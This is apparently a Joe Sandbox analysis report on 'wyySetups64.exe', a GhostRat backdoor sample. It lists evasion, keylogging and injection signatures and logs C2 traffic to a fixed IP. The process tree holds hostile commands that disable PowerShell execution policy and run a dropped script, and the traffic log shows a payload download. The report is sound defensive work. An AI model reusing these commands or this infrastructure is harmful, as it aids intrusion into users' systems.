Edit tour

Windows Analysis Report
wyySetups64.exe

Overview

General Information

Sample name:	wyySetups64.exe
Analysis ID:	1581895
MD5:	97090426a42466d139d3e45f47c652f8
SHA1:	c3500a1e6db48e87c2ba73bbb5ccc23ec31bbc2c
SHA256:	e70179810f8c851e20966da1e5e1bb45dfc603c068864192c43eb161ce7abbd9
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

GhostRat

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (overwrites its own PE header)

Suricata IDS alerts for network traffic

Yara detected GhostRat

AI detected suspicious sample

Bypasses PowerShell execution policy

Checks if browser processes are running

Connects to many ports of the same IP (likely port scanning)

Contains functionality to capture and log keystrokes

Contains functionality to compare user and computer (likely to detect sandboxes)

Contains functionality to infect the boot sector

Contains functionality to inject code into remote processes

Contains functionality to inject threads in other processes

Loading BitLocker PowerShell Module

Protects its processes via BreakOnTermination flag

Queries disk data (e.g. SMART data)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

AV process strings found (often used to terminate AV products)

Checks for available system drives (often done to infect USB drives)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to clear windows event logs (to hide its activities)

Contains functionality to communicate with device drivers

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to enumerate process and check for explorer.exe or svchost.exe (often used for thread injection)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to query network adapater information

Contains functionality to read the PEB

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains functionality to shutdown / reboot the system

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found decision node followed by non-executed suspicious APIs

Found dropped PE file which has not been started or loaded

Found evasive API chain (may stop execution after accessing registry keys)

Found evasive API chain (may stop execution after checking a module file name)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Installs a global mouse hook

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

PE file contains an invalid checksum

PE file contains executable resources (Code or Archives)

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Change PowerShell Policies to an Insecure Level

Sleep loop found (likely to delay execution)

Stores large binary data to the registry

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

wyySetups64.exe (PID: 6992 cmdline: "C:\Users\user\Desktop\wyySetups64.exe" MD5: 97090426A42466D139D3E45F47C652F8)

wyySetups64.exe (PID: 3624 cmdline: "C:\Users\user\AppData\Roaming\wyySetups64.exe" MD5: 97090426A42466D139D3E45F47C652F8)

cmd.exe (PID: 1136 cmdline: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 2008 cmdline: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

cmd.exe (PID: 6036 cmdline: cmd.exe /C powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2332 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3928 cmdline: powershell -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\updated.ps1 MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

360instpatch.exe (PID: 4460 cmdline: C:\Users\user\Downloads\360instpatch.exe MD5: AAA0F14BDFE3777EEE342C27DE409E6D)

360instpatch.exe (PID: 3192 cmdline: C:\Users\user\Downloads\360instpatch.exe MD5: AAA0F14BDFE3777EEE342C27DE409E6D)

svchost.exe (PID: 3808 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wyySetups64.exe PID: 3624	JoeSecurity_GhostRat	Yara detected GhostRat	Joe Security

Sigma Signatures

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ProcessId: 2008, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", CommandLine|base64offset|contains: ^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: cmd.exe /C powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1136, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "Set-ExecutionPolicy Unrestricted -Scope CurrentUser", ProcessId: 2008, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3808, ProcessName: svchost.exe

Suricata Signatures

ET MALWARE Anonymous RAT CnC Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-29T09:02:09.456478+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49738	118.107.44.219	19091	TCP
2024-12-29T09:03:19.528655+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49744	118.107.44.219	19091	TCP
2024-12-29T09:04:30.575700+0100	2052875	1	A Network Trojan was detected	192.168.2.4	49891	118.107.44.219	19092	TCP
2024-12-29T09:05:42.606786+0100	2052875	1	A Network Trojan was detected	192.168.2.4	50026	118.107.44.219	19091	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.1% probability

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\wyySetups64.exe

Unpacked PE file: 0.2.wyySetups64.exe.400000.0.unpack

Source: wyySetups64.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown

HTTPS traffic detected: 149.129.12.34:443 -> 192.168.2.4:49735 version: TLS 1.2

Source: wyySetups64.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: \Release\Code_Shellcode.pdb source: wyySetups64.exe, wyySetups64.exe, 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\249110\out\Release\360P2SP.pdb source: 360instpatch.exe, 00000008.00000003.1797435191.0000000004191000.00000004.00000020.00020000.00000000.sdmp, 360instpatch.exe, 00000008.00000002.4119950476.000000006BF5F000.00000002.00000001.01000000.0000000C.sdmp, 360P2SP.dll.8.dr
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdbX source: 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, sites.dll.8.dr
Source:	Binary string: \Release\Code_Shellcode.pdb(!!GCTL source: wyySetups64.exe, 00000000.00000002.1816336980.0000000000D50000.00000040.00001000.00020000.00000000.sdmp, wyySetups64.exe, 00000000.00000002.1818999903.0000000010012000.00000002.00001000.00020000.00000000.sdmp
Source:	Binary string: C:\vmagent_new\bin\joblist\832091\out\Release\360Installer.pdb source: 360instpatch.exe, 00000008.00000000.1789664825.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000008.00000002.4114822760.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000000.1798248831.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch.exe, 00000009.00000002.1799466185.0000000000BCE000.00000002.00000001.01000000.0000000A.sdmp, 360instpatch[1].exe.0.dr, 360instpatch.exe.0.dr
Source:	Binary string: c:\vmagent_new\bin\joblist\312713\out\Release\sites.pdb source: 360instpatch.exe, 00000008.00000002.4120288463.000000006CE05000.00000002.00000001.01000000.0000000D.sdmp, sites.dll.8.dr

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: z:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: x:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: v:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: t:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: r:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: p:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: n:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: l:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: j:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: h:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: f:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: b:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: y:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: w:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: u:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: s:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: q:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: o:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: m:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: k:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: i:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: g:	Jump to behavior
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: e:	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File opened: c:
Source: C:\Users\user\AppData\Roaming\wyySetups64.exe	File opened: [:	Jump to behavior

Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B6D71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	8_2_00B6D71E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B7D670 _memset,FindFirstFileW,FindNextFileW,FindClose,	8_2_00B7D670
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_00B73FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	8_2_00B73FB0
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6BF3A6BA _wcspbrk,__getdrive,FindFirstFileW,_wcspbrk,__wfullpath_helper,_wcslen,GetDriveTypeW,___loctotime64_t,__wsopen_s,__fstat64i32,__close,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___wdtoxmode,GetLastError,__dosmaperr,FindClose,	8_2_6BF3A6BA
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 8_2_6CD3E2B7 FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	8_2_6CD3E2B7
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B7D670 _memset,FindFirstFileW,FindNextFileW,FindClose,	9_2_00B7D670
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B6D71E FindFirstFileW,GetFullPathNameW,SetLastError,lstrlenW,_wcsrchr,_wcsrchr,	9_2_00B6D71E
Source: C:\Users\user\Downloads\360instpatch.exe	Code function: 9_2_00B73FB0 PathFileExistsW,_wcslen,_memset,_memset,PathAppendW,PathAppendW,PathAppendW,FindFirstFileW,FindNextFileW,_memset,PathAppendW,PathAppendW,_memset,PathAppendW,PathAppendW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00B73FB0

Source: C:\Users\user\AppData\Roaming\wyySetups64.exe

Code function: 1_2_033780F0 wsprintfW,GetLogicalDriveStringsW,lstrcmpiW,lstrcmpiW,QueryDosDeviceW,lstrlenW,__wcsnicmp,lstrcpyW,lstrcpyW,lstrcatW,

1_2_033780F0

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49738 -> 118.107.44.219:19091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49744 -> 118.107.44.219:19091
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:49891 -> 118.107.44.219:19092
Source: Network traffic	Suricata IDS: 2052875 - Severity 1 - ET MALWARE Anonymous RAT CnC Checkin : 192.168.2.4:50026 -> 118.107.44.219:19091

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 118.107.44.219 ports 18852,8853,19092,19091,3,5,8

Source: global traffic	TCP traffic: 192.168.2.4:49733 -> 118.107.44.219:8853
Source: global traffic	UDP traffic: 192.168.2.4:23363 -> 1.192.136.170:3478
Source: global traffic	UDP traffic: 192.168.2.4:23363 -> 1.192.136.171:3478
Source: global traffic	UDP traffic: 192.168.2.4:23363 -> 8.46.123.189:15054

Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=19&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=4187&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 180.163.251.230 180.163.251.230

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=107&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=8&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /360safe/h_inst.cab?rd=36608336 HTTP/1.1Accept: /User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)Host: pinst.360.cnConnection: CloseCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=10&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=129&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219
Source: unknown	TCP traffic detected without corresponding DNS query: 118.107.44.219

Source: C:\Users\user\Desktop\wyySetups64.exe

Code function: 0_2_10001BB0 InternetOpenA,InternetOpenUrlA,fopen,HttpQueryInfoW,SendMessageW,InternetReadFile,fwrite,SendMessageW,fclose,InternetCloseHandle,InternetCloseHandle,GetParent,ShowWindow,exit,

0_2_10001BB0

Source: global traffic	HTTP traffic detected: GET /360instpatch.exe HTTP/1.1User-Agent: URLDownloaderHost: gwwifha84989.oss-ap-northeast-2.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=100&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=127&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&parent=Non-existent%20Process&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=1&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=109&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&installed=0&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=1000&status=12&m=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&vv=10&ver=13.0.0.1231&pid= HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: s.360.cnConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /safe/instcomp.htm?soft=425&status=1&mid=6039146e22b008fbd61fc0617475e9aa&from=safefinal_new&ver=13.0.0.1231&vv=10&appkey=&usetime=0&downrate=0&downlen=0 HTTP/1.1Host: s.360.cnConnection: Keep-AliveCache-Control: no-cache
